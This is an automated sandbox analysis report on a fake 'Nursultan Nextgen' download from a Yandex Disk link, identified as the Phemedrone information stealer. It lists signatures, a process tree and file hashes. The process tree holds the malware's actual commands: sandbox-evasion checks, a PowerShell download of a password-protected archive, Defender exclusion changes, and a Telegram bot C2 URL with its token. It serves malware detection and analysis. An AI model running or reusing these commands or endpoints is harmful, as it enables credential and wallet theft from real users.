Resubmissions

23-07-2024 15:48

240723-s8zxpsxfnl 10

22-07-2024 21:16

240722-z4r5maydld 10

Analysis

  • max time kernel
    218s
  • max time network
    220s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    23-07-2024 15:48

General

  • Target

    https://disk.yandex.ru/d/LdNFOFnpJ78Ahw

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://drive.usercontent.google.com/u/0/uc?id=1uH0vQ_juAop0fqiOEIdPBdq1AMQmvndT&export=download

Extracted

Family

phemedrone

C2

https://api.telegram.org/bot7230260246:AAFy1nkEQHkcEude1v3boXRM_xhzB5HwGJ0/sendDocument

Signatures

  • Phemedrone

    An information and wallet stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 6 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://disk.yandex.ru/d/LdNFOFnpJ78Ahw"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1792
    • C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url https://disk.yandex.ru/d/LdNFOFnpJ78Ahw
      2⤵
      • Checks processor information in registry
      • Modifies registry class
      • NTFS ADS
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2704
      • C:\Program Files\Mozilla Firefox\firefox.exe
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.0.1931502838\301328947" -parentBuildID 20221007134813 -prefsHandle 1240 -prefMapHandle 1232 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {183d946b-d755-4bae-b74e-bdef77b00f92} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 1304 108d8b58 gpu
        3⤵
          PID:2288
        • C:\Program Files\Mozilla Firefox\firefox.exe
          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.1.268190023\529240484" -parentBuildID 20221007134813 -prefsHandle 1504 -prefMapHandle 1500 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e896a94-921d-4d75-a84e-f36dba10b4f5} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 1516 10806258 socket
          3⤵
            PID:2580
          • C:\Program Files\Mozilla Firefox\firefox.exe
            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.2.1031112717\2042142835" -childID 1 -isForBrowser -prefsHandle 2120 -prefMapHandle 2016 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d510f124-3c2d-480f-8806-bf05f928dab8} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 1064 1aba8558 tab
            3⤵
              PID:1972
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.3.853359533\1674234665" -childID 2 -isForBrowser -prefsHandle 2900 -prefMapHandle 2896 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8db49410-86b8-4a5e-ab78-f5aa0a28c484} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 2912 e61958 tab
              3⤵
                PID:2396
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.4.844045289\16821363" -childID 3 -isForBrowser -prefsHandle 3644 -prefMapHandle 3516 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {055b64d3-d09e-4a3c-847d-b49ab6b69c69} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 3696 1ac9d658 tab
                3⤵
                  PID:2028
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.5.262263900\1115344847" -childID 4 -isForBrowser -prefsHandle 3804 -prefMapHandle 3808 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {21969012-00a2-458c-a822-6feed6cf4651} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 3792 1f4c6b58 tab
                  3⤵
                    PID:2032
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.6.2090437113\346343348" -childID 5 -isForBrowser -prefsHandle 3968 -prefMapHandle 3972 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ea3f3c6e-a12f-4847-85fb-7960958f19fd} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 3956 1f4c7158 tab
                    3⤵
                      PID:1336
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.7.66890006\1722799227" -childID 6 -isForBrowser -prefsHandle 4320 -prefMapHandle 4296 -prefsLen 26531 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4b01cc4b-73d7-408c-b4cb-a8ae103aa21a} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 4376 22ded558 tab
                      3⤵
                        PID:660
                  • C:\Program Files\7-Zip\7zG.exe
                    "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Nursultan_Nextgen\" -spe -an -ai#7zMap14355:96:7zEvent29139
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    PID:1028
                  • C:\Windows\system32\AUDIODG.EXE
                    C:\Windows\system32\AUDIODG.EXE 0xc4
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3832
                  • C:\Windows\system32\NOTEPAD.EXE
                    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Nursultan_Nextgen\Инструкция.txt
                    1⤵
                      PID:3884
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                      1⤵
                      • Loads dropped DLL
                      PID:3976
                      • C:\Windows\system32\findstr.exe
                        findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                        2⤵
                          PID:2008
                        • C:\Windows\system32\findstr.exe
                          findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                          2⤵
                            PID:4080
                          • C:\Windows\system32\findstr.exe
                            findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                            2⤵
                              PID:304
                            • C:\Windows\system32\findstr.exe
                              findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                              2⤵
                                PID:1672
                              • C:\Windows\system32\findstr.exe
                                findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                                2⤵
                                  PID:328
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
                                  2⤵
                                  • Hide Artifacts: Ignore Process Interrupts
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2040
                                • C:\Windows\system32\findstr.exe
                                  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                                  2⤵
                                    PID:3012
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
                                    2⤵
                                    • Hide Artifacts: Ignore Process Interrupts
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2464
                                  • C:\Windows\system32\findstr.exe
                                    findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                                    2⤵
                                      PID:3104
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
                                      2⤵
                                      • Hide Artifacts: Ignore Process Interrupts
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3108
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if ((Get-WmiObject Win32_ComputerSystem).Model -match 'Virtual') { taskkill /F /IM cmd.exe }"
                                      2⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3208
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if ((Get-WmiObject Win32_ComputerSystem).Model -match 'Virtual') { taskkill /F /IM cmd.exe }"
                                      2⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3320
                                    • C:\Windows\system32\findstr.exe
                                      findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                                      2⤵
                                        PID:3412
                                      • C:\Windows\system32\findstr.exe
                                        findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                                        2⤵
                                          PID:3500
                                        • C:\Windows\system32\findstr.exe
                                          findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                                          2⤵
                                            PID:3572
                                          • C:\Windows\system32\chcp.com
                                            chcp 65001
                                            2⤵
                                              PID:3540
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if ((Get-WmiObject Win32_ComputerSystem).Model -match 'Virtual') { taskkill /F /IM cmd.exe }"
                                              2⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:3584
                                            • C:\Windows\system32\wscript.exe
                                              wscript /b
                                              2⤵
                                                PID:3688
                                              • C:\Windows\system32\timeout.exe
                                                timeout 0
                                                2⤵
                                                • Delays execution with timeout.exe
                                                PID:3720
                                              • C:\Windows\system32\chcp.com
                                                chcp 65001
                                                2⤵
                                                  PID:3708
                                                • C:\Windows\system32\doskey.exe
                                                  doskey CD=RECOVER
                                                  2⤵
                                                    PID:3680
                                                  • C:\Windows\system32\doskey.exe
                                                    doskey TYPE=ROBOCOPY
                                                    2⤵
                                                      PID:3724
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://drive.usercontent.google.com/u/0/uc?id=1uH0vQ_juAop0fqiOEIdPBdq1AMQmvndT&export=download', 'C:\Users\Admin\AppData\Local\Temp\java.rar')"
                                                      2⤵
                                                      • Blocklisted process makes network request
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3716
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c wmic computersystem get manufacturer /value
                                                      2⤵
                                                        PID:3816
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic computersystem get manufacturer /value
                                                          3⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3848
                                                      • C:\Windows\system32\findstr.exe
                                                        findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                                                        2⤵
                                                          PID:3948
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
                                                          2⤵
                                                          • Hide Artifacts: Ignore Process Interrupts
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3920
                                                        • C:\Windows\system32\findstr.exe
                                                          findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                                                          2⤵
                                                            PID:4080
                                                          • C:\Windows\system32\findstr.exe
                                                            findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                                                            2⤵
                                                              PID:304
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c wmic computersystem get manufacturer /value
                                                              2⤵
                                                                PID:2764
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic computersystem get manufacturer /value
                                                                  3⤵
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:760
                                                              • C:\Windows\system32\findstr.exe
                                                                findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
                                                                2⤵
                                                                  PID:2552
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if ((Get-WmiObject Win32_ComputerSystem).Model -match 'Virtual') { taskkill /F /IM cmd.exe }"
                                                                  2⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:1360
                                                                • C:\Windows\system32\doskey.exe
                                                                  doskey TITLE=RENAME
                                                                  2⤵
                                                                    PID:2236
                                                                  • C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\assets\UnRAR.exe
                                                                    "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\assets\unrar.exe" x -p1512okul -o+ "C:\Users\Admin\AppData\Local\Temp\java.rar" "C:\Users\Admin\AppData\Local\Temp\RAR57F8IF"
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:888
                                                                  • C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\optionsof.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\optionsof.exe"
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:864
                                                                    • C:\Windows\system32\WerFault.exe
                                                                      C:\Windows\system32\WerFault.exe -u -p 864 -s 844
                                                                      3⤵
                                                                        PID:2356
                                                                    • C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\java8-update.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\java8-update.exe"
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:1756
                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                        3⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        PID:3752
                                                                    • C:\Windows\system32\mshta.exe
                                                                      mshta
                                                                      2⤵
                                                                        PID:1500
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c wmic computersystem get manufacturer /value
                                                                        2⤵
                                                                          PID:3104
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic computersystem get manufacturer /value
                                                                            3⤵
                                                                              PID:3092
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
                                                                            2⤵
                                                                            • Hide Artifacts: Ignore Process Interrupts
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:3184
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
                                                                            2⤵
                                                                            • Hide Artifacts: Ignore Process Interrupts
                                                                            PID:3480
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c wmic computersystem get manufacturer /value
                                                                            2⤵
                                                                              PID:3724
                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic computersystem get manufacturer /value
                                                                                3⤵
                                                                                  PID:3760
                                                                              • C:\Windows\system32\rundll32.exe
                                                                                rundll32
                                                                                2⤵
                                                                                  PID:3944
                                                                                • C:\Windows\system32\timeout.exe
                                                                                  timeout /T 10 /NOBREAK
                                                                                  2⤵
                                                                                  • Delays execution with timeout.exe
                                                                                  PID:3904

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v15

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\activity-stream.discovery_stream.json.tmp

                                                                                Filesize

                                                                                26KB

                                                                                MD5

                                                                                2463ff2c5b03745c4f3548f1439bf956

                                                                                SHA1

                                                                                3c980a44c2da9aa55c39ebc135dcc1f34ceebc47

                                                                                SHA256

                                                                                2e3a4f785dd652c8f110ed791d90111c8dbd66989d34e85d273cdd81a196fb9c

                                                                                SHA512

                                                                                6e1c88051590956c6b9481b1faaa152517fc908e14dae38bfec0a9b1fcbdce91a1ba1d89b0105d93f127764d8f11d7ad8f85ee4b77ec7c590a4cb131fd6df144

                                                                              • C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\optionsof.exe

                                                                                Filesize

                                                                                100KB

                                                                                MD5

                                                                                699919d1930928569bb6881624194ff9

                                                                                SHA1

                                                                                e6c8548c58919b45c180930174a2c0d9ec5bee79

                                                                                SHA256

                                                                                e57dff4b56657600de71ac5be3632fc91753494200a336d7cb56f726f89936c5

                                                                                SHA512

                                                                                ab75fad191ac7b342cb54ffa91fd46ef4f20c8317779bce934e58300929f14ef5884f3ec14af9615f3d789447f355d5b56b26bd826fc35217ad949ba18800a7c

                                                                              • C:\Users\Admin\AppData\Local\Temp\java.rar

                                                                                Filesize

                                                                                2.1MB

                                                                                MD5

                                                                                1c7981416528d70a0e159d257c503547

                                                                                SHA1

                                                                                23011558c9fdcb40b7cc7f9d8652ca05e38a8757

                                                                                SHA256

                                                                                4303939f12fefecf04f2fca4c1b5ea2374b97e287370e140f618ace6e685fef3

                                                                                SHA512

                                                                                7412292ba9d938c90ce4b3044763145708cf40943d169ce575f09710853468bae3298e22002b22a9823fe89db7fcf09e05e3e37047c803b7d2aab2fcb800e016

                                                                              • C:\Users\Admin\AppData\Local\Temp\tmpaddon

                                                                                Filesize

                                                                                442KB

                                                                                MD5

                                                                                85430baed3398695717b0263807cf97c

                                                                                SHA1

                                                                                fffbee923cea216f50fce5d54219a188a5100f41

                                                                                SHA256

                                                                                a9f4281f82b3579581c389e8583dc9f477c7fd0e20c9dfc91a2e611e21e3407e

                                                                                SHA512

                                                                                06511f1f6c6d44d076b3c593528c26a602348d9c41689dbf5ff716b671c3ca5756b12cb2e5869f836dedce27b1a5cfe79b93c707fd01f8e84b620923bb61b5f1

                                                                              • C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

                                                                                Filesize

                                                                                8.0MB

                                                                                MD5

                                                                                a01c5ecd6108350ae23d2cddf0e77c17

                                                                                SHA1

                                                                                c6ac28a2cd979f1f9a75d56271821d5ff665e2b6

                                                                                SHA256

                                                                                345d44e3aa3e1967d186a43d732c8051235c43458169a5d7d371780a6475ee42

                                                                                SHA512

                                                                                b046dd1b26ec0b810ee441b7ad4dc135e3f1521a817b9f3db60a32976352e8f7e53920e1a77fc5b4130aac260d79deef7e823267b4414e9cc774d8bffca56a72

                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                Filesize

                                                                                7KB

                                                                                MD5

                                                                                4656e01004087265390b940ac99861a7

                                                                                SHA1

                                                                                cae08b13669a3353285a124a95ea2e133e32bb31

                                                                                SHA256

                                                                                c5feb1eda5a1ad7661682d0747f20db921fc33750f49588f6d201de4fc322e67

                                                                                SHA512

                                                                                32b73b9418911943fa8580ed0f2bcaf5c8093f5902c6adedd3d5be335082ddd370712ffa641c2d5c5479b5b8f8082afd2dda254ae8d01f6c021535c9e7827ef3

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\cookies.sqlite

                                                                                Filesize

                                                                                512KB

                                                                                MD5

                                                                                2eb331e1c6bb13b680ee79866a7c89a6

                                                                                SHA1

                                                                                c2d0f866353e6abafa57fc93ea1b1ee9809fc16e

                                                                                SHA256

                                                                                da7f8f2cd389830d8d1ce44ebbb568a544561bb61ff388c9ef138cecbe065131

                                                                                SHA512

                                                                                42c0d56aac87f1e5dcb4aafc59a4024422b3db51b56bcae77af2aee815f4d7f17f3b0f7fe7472882aa3cd486b10bddb782702ffb4d9cc40435848f2e3601dca0

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\datareporting\glean\db\data.safe.bin

                                                                                Filesize

                                                                                2KB

                                                                                MD5

                                                                                177a44c313a91cb7d6732e8bb70c8c0e

                                                                                SHA1

                                                                                b0a3f814cb1828e7b083eda8d4d46914d35255b5

                                                                                SHA256

                                                                                518ebbf165b2b4eb7fea85b2c1c802e46c4df84f857ea79debe4e32fdd1ba0ae

                                                                                SHA512

                                                                                2ed3290421c5f0242184b896f491546116417bbf00a005f9a2ca7a27087d202e26db40dafcd3edb3232b104dd3c05e5129b0327e45b8f2d107883ea32b6af5ea

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\datareporting\glean\pending_pings\d7540ac1-9db4-4e9b-aca9-a13fcc8d0d8b

                                                                                Filesize

                                                                                745B

                                                                                MD5

                                                                                28888464351a474252805cc8c7e17547

                                                                                SHA1

                                                                                7cd8a9bbd48c1afc0133be42e29467214648b4f2

                                                                                SHA256

                                                                                d10a773440842e0f25a978f1851304f47b4c48566e67a7bbef1ff9665c0af813

                                                                                SHA512

                                                                                b210f4a541c6073730e0fbbb6d59e6efee62429282e55d5b9dd991935dbfc6bfa13c63f8c74e33b6c4f9f463c184e4fbc17c0e458312484ee63ce7a6bc2b23f6

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\datareporting\glean\pending_pings\eab347cf-2a95-4bb9-8fa3-9a281ba0128b

                                                                                Filesize

                                                                                12KB

                                                                                MD5

                                                                                7929e4870e7e06c4df2b64592d450371

                                                                                SHA1

                                                                                cf06921abb9fb4e3de09d709e4b5aaefa69dd975

                                                                                SHA256

                                                                                368e4f92dfa43f0a3f5531ca49acceeb3b426687c7c8669cdc07357a045e7e54

                                                                                SHA512

                                                                                f442253a78f47ee4739aeec8bda9627fc92f961383d0b57ec593366f2c4725d8827b403b6217ca620d3265efcb8acfe594943d25822bde954ad5e48ad70444e1

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\favicons.sqlite-wal

                                                                                Filesize

                                                                                256KB

                                                                                MD5

                                                                                004539e9107ee99a4041c0f7f1f78d40

                                                                                SHA1

                                                                                bd20fea1bf9835b0b23d7ad1ec922d9552e958f2

                                                                                SHA256

                                                                                17f9bc7cc697dfbb59861e4e8f5c2b045d022db18214808b5486985a20566e7c

                                                                                SHA512

                                                                                b959f607ba8a480610d517bc5e917d725a320200a0d279ed804b1b456bec69fc6a22f2359efa3bdfe43473f88b46479f89c2b94da850c580036ee54f64d6555b

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll

                                                                                Filesize

                                                                                997KB

                                                                                MD5

                                                                                fe3355639648c417e8307c6d051e3e37

                                                                                SHA1

                                                                                f54602d4b4778da21bc97c7238fc66aa68c8ee34

                                                                                SHA256

                                                                                1ed7877024be63a049da98733fd282c16bd620530a4fb580dacec3a78ace914e

                                                                                SHA512

                                                                                8f4030bb2464b98eccbea6f06eb186d7216932702d94f6b84c56419e9cf65a18309711ab342d1513bf85aed402bc3535a70db4395874828f0d35c278dd2eac9c

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info

                                                                                Filesize

                                                                                116B

                                                                                MD5

                                                                                3d33cdc0b3d281e67dd52e14435dd04f

                                                                                SHA1

                                                                                4db88689282fd4f9e9e6ab95fcbb23df6e6485db

                                                                                SHA256

                                                                                f526e9f98841d987606efeaff7f3e017ba9fd516c4be83890c7f9a093ea4c47b

                                                                                SHA512

                                                                                a4a96743332cc8ef0f86bc2e6122618bfc75ed46781dadbac9e580cd73df89e74738638a2cccb4caa4cbbf393d771d7f2c73f825737cdb247362450a0d4a4bc1

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-widevinecdm\4.10.2557.0\LICENSE.txt

                                                                                Filesize

                                                                                479B

                                                                                MD5

                                                                                49ddb419d96dceb9069018535fb2e2fc

                                                                                SHA1

                                                                                62aa6fea895a8b68d468a015f6e6ab400d7a7ca6

                                                                                SHA256

                                                                                2af127b4e00f7303de8271996c0c681063e4dc7abdc7b2a8c3fe5932b9352539

                                                                                SHA512

                                                                                48386217dabf7556e381ab3f5924b123a0a525969ff98f91efb03b65477c94e48a15d9abcec116b54616d36ad52b6f1d7b8b84c49c204e1b9b43f26f2af92da2

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-widevinecdm\4.10.2557.0\manifest.json

                                                                                Filesize

                                                                                372B

                                                                                MD5

                                                                                8be33af717bb1b67fbd61c3f4b807e9e

                                                                                SHA1

                                                                                7cf17656d174d951957ff36810e874a134dd49e0

                                                                                SHA256

                                                                                e92d3394635edfb987a7528e0ccd24360e07a299078df2a6967ca3aae22fa2dd

                                                                                SHA512

                                                                                6125f60418e25fee896bf59f5672945cd8f36f03665c721837bb50adf5b4dfef2dddbfcfc817555027dcfa90e1ef2a1e80af1219e8063629ea70263d2fc936a7

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll

                                                                                Filesize

                                                                                11.8MB

                                                                                MD5

                                                                                33bf7b0439480effb9fb212efce87b13

